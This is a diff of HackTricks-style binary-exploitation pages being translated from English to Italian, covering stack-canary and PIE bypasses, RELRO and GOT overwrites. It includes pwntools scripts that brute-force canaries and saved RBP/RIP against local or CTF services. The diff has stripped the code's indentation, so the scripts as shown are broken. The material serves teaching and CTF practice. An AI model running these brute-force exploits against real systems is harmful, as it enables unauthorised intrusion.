compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\ +> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. -## Brute-Force Addresses +## Indirizzi Brute-Force -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +Per **bypassare il PIE** devi **leakare qualche indirizzo**. E se il binario non sta leakando indirizzi, il modo migliore per farlo è **brute-forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\ +Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a brute-forzare il canary, poi i **prossimi** 8 Byte (x64) saranno il **RBP** salvato e i **prossimi** 8 Byte saranno il **RIP** salvato. > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso. +Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La **stessa funzione** fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi leakati**: il **RBP** e il **RIP**. -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nella stack**. Questo può essere molto utile per sapere dove andrai a scrivere la stringa _"/bin/sh\x00"_ all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver leakato il RBP** e controllare **dove si trova il tuo shellcode**, poi, puoi calcolare la distanza tra il shellcode e il RBP: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +Dalla **RIP** puoi calcolare il **base address del binary PIE** che è ciò di cui hai bisogno per creare un **valid ROP chain**.\ +Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gli indirizzi disassemblati più recenti: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` +## Miglioramenti -## Improvements +Secondo [**alcune osservazioni di questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si perdono i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo romperanno anche se non sono esattamente quelli corretti**. -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +Secondo quel post del blog, si raccomanda di aggiungere un breve ritardo tra le richieste al server. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..9acc7c7f9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** sta per **Relocation Read-Only** ed è una funzione di sicurezza utilizzata nei binari per mitigare i rischi associati con le sovrascritture della **GOT (Global Offset Table)**. Ci sono due tipi di protezioni **RELRO**: (1) **Partial RELRO** e (2) **Full RELRO**. Entrambi riordinano la **GOT** e la **BSS** dai file ELF, ma con risultati e implicazioni diverse. Specificamente, pongono la sezione **GOT** _prima_ della **BSS**. Cioè, **GOT** si trova a indirizzi più bassi rispetto alla **BSS**, rendendo quindi impossibile sovrascrivere le voci della **GOT** sovrascrivendo le variabili nella **BSS** (ricorda che la scrittura in memoria avviene da indirizzi più bassi verso indirizzi più alti). -Let's break down the concept into its two distinct types for clarity. +Analizziamo il concetto nei suoi due tipi distinti per chiarezza. ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** adotta un approccio più semplice per migliorare la sicurezza senza influire significativamente sulle prestazioni del binario. Partial RELRO rende **la .got di sola lettura (la parte non-PLT della sezione GOT)**. Tieni presente che il resto della sezione (come la .got.plt) è ancora scrivibile e, quindi, soggetto ad attacchi. Questo **non impedisce alla GOT** di essere abusata **da vulnerabilità di scrittura arbitraria**. -Note: By default, GCC compiles binaries with Partial RELRO. +Nota: Per impostazione predefinita, GCC compila i binari con Partial RELRO. ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** aumenta la protezione rendendo **l'intera GOT (sia .got che .got.plt) e la sezione .fini_array** completamente **di sola lettura.** Una volta che il binario inizia, tutti gli indirizzi delle funzioni vengono risolti e caricati nella GOT, quindi, la GOT viene contrassegnata come di sola lettura, prevenendo efficacemente qualsiasi modifica durante l'esecuzione. -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +Tuttavia, il compromesso con Full RELRO è in termini di prestazioni e tempo di avvio. Poiché deve risolvere tutti i simboli dinamici all'avvio prima di contrassegnare la GOT come di sola lettura, **i binari con Full RELRO abilitato potrebbero sperimentare tempi di caricamento più lunghi**. Questo sovraccarico aggiuntivo all'avvio è il motivo per cui Full RELRO non è abilitato per impostazione predefinita in tutti i binari. +È possibile vedere se Full RELRO è **abilitato** in un binario con: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +Se il Full RELRO è abilitato, l'unico modo per bypassarlo è trovare un altro modo che non richieda di scrivere nella tabella GOT per ottenere un'esecuzione arbitraria. -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Nota che **il GOT di LIBC è solitamente Partial RELRO**, quindi può essere modificato con una scrittura arbitraria. Maggiori informazioni in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..b21d55534 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard e StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** inserisce un valore speciale noto come **canary** prima dell'**EIP (Extended Instruction Pointer)**, specificamente `0x000aff0d` (che rappresenta null, newline, EOF, carriage return) per proteggere contro i buffer overflow. Tuttavia, funzioni come `recv()`, `memcpy()`, `read()`, e `bcopy()` rimangono vulnerabili, e non protegge l'**EBP (Base Pointer)**. -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** adotta un approccio più sofisticato rispetto a StackGuard mantenendo uno **Global Return Stack**, che memorizza tutti gli indirizzi di ritorno (**EIPs**). Questa configurazione garantisce che qualsiasi overflow non causi danni, poiché consente un confronto tra gli indirizzi di ritorno memorizzati e quelli effettivi per rilevare le occorrenze di overflow. Inoltre, StackShield può controllare l'indirizzo di ritorno rispetto a un valore di confine per rilevare se l'**EIP** punta al di fuori dello spazio dati previsto. Tuttavia, questa protezione può essere elusa attraverso tecniche come Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, indicando che StackShield non protegge nemmeno le variabili locali. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali per posizionare i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia anche in modo sicuro gli argomenti passati sullo stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura utente. -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predefinito di `0xff0a0000`. È memorizzato in **TLS (Thread Local Storage)**, consentendo spazi di memoria condivisi tra i thread di avere variabili globali o statiche specifiche per il thread. Queste variabili vengono inizialmente copiate dal processo padre, e i processi figli possono alterare i loro dati senza influenzare il padre o i fratelli. Tuttavia, se un **`fork()` viene utilizzato senza creare un nuovo canary, tutti i processi (padre e figli) condividono lo stesso canary**, rendendolo vulnerabile. Sull'architettura **i386**, il canary è memorizzato in `gs:0x14`, e su **x86_64**, in `fs:0x28`. -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +Questa protezione locale identifica le funzioni con buffer vulnerabili ad attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificarne l'integrità. -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il byte del canary byte per byte. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una duplicazione, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria. -### Lengths +### Lunghezze -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **byte nullo.** -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **byte nullo.** > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> Il byte meno significativo di entrambi i canary è un byte nullo perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**. -## Bypasses +## Bypass -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**Fuggire il canary** e poi sovrascriverlo (ad es. buffer overflow) con il proprio valore. -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- Se il **canary è forkato nei processi figli** potrebbe essere possibile **brute-forzarlo** un byte alla volta: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- Se c'è qualche interessante **fuga o vulnerabilità di lettura arbitraria** nel binario potrebbe essere possibile fugare: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **Sovrascrivere i puntatori memorizzati nello stack** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **Modificare sia il canary master che quello del thread** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +Un buffer **overflow in una funzione thread** protetta con canary può essere utilizzato per **modificare il canary master del thread**. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati). -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Inoltre, un buffer **overflow in una funzione thread** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché, potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un **bof nello stack** di un thread.\ +Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\ +Questo attacco è descritto nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** viene generato anch'esso da `mmap`, il che potrebbe consentire l'overflow come mostrato nel precedente writeup. -- **Modify the GOT entry of `__stack_chk_fail`** +- **Modificare l'entry GOT di `__stack_chk_fail`** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +Se il binario ha Partial RELRO, allora puoi utilizzare una scrittura arbitraria per modificare l'**entry GOT di `__stack_chk_fail`** per essere una funzione fittizia che non blocca il programma se il canary viene modificato. -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Questo attacco è descritto nel writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## Riferimenti - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..e2e2fc987 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\ +> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **lo stesso canary verrà utilizzato**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Quindi, il modo migliore per bypassare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 Bytes (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**): ### Example 1 -This example is implemented for 64bits but could be easily implemented for 32 bits. - +Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### Esempio 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Questo è implementato per 32 bit, ma potrebbe essere facilmente cambiato a 64 bit.\ +Nota anche che per questo esempio il **programma si aspettava prima un byte per indicare la dimensione dell'input** e il payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## Thread -## Threads +I thread dello stesso processo condivideranno anche **lo stesso token canary**, quindi sarà possibile **forzare** un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco. -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Inoltre, un **overflow di buffer in una funzione thread** protetta con canary potrebbe essere utilizzato per **modificare il master canary memorizzato nel TLS**. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un **bof nello stack** di un thread.\ +Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\ +Questo attacco è descritto nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** è anch'esso generato da `mmap`, il che potrebbe consentire l'overflow come mostrato nel writeup precedente. -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## Altri esempi e riferimenti - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bit, no PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..86b547b0e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,33 +1,33 @@ -# Print Stack Canary +# Stampa Stack Canary {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## Ingrandire lo stack stampato -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +Immagina una situazione in cui un **programma vulnerabile** a stack overflow può eseguire una funzione **puts** **puntando** a **parte** dello **stack overflow**. L'attaccante sa che il **primo byte del canary è un byte nullo** (`\x00`) e il resto del canary sono **byte casuali**. Poi, l'attaccante può creare un overflow che **sovrascrive lo stack fino al primo byte del canary**. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +Poi, l'attaccante **chiama la funzionalità puts** nel mezzo del payload che **stamperà tutto il canary** (eccetto il primo byte nullo). -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +Con queste informazioni, l'attaccante può **creare e inviare un nuovo attacco** conoscendo il canary (nella stessa sessione del programma). -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +Ovviamente, questa tattica è molto **ristretta** poiché l'attaccante deve essere in grado di **stampare** il **contenuto** del suo **payload** per **esfiltrare** il **canary** e poi essere in grado di creare un nuovo payload (nella **stessa sessione del programma**) e **inviare** il **vero buffer overflow**. -**CTF examples:** +**Esempi CTF:** - 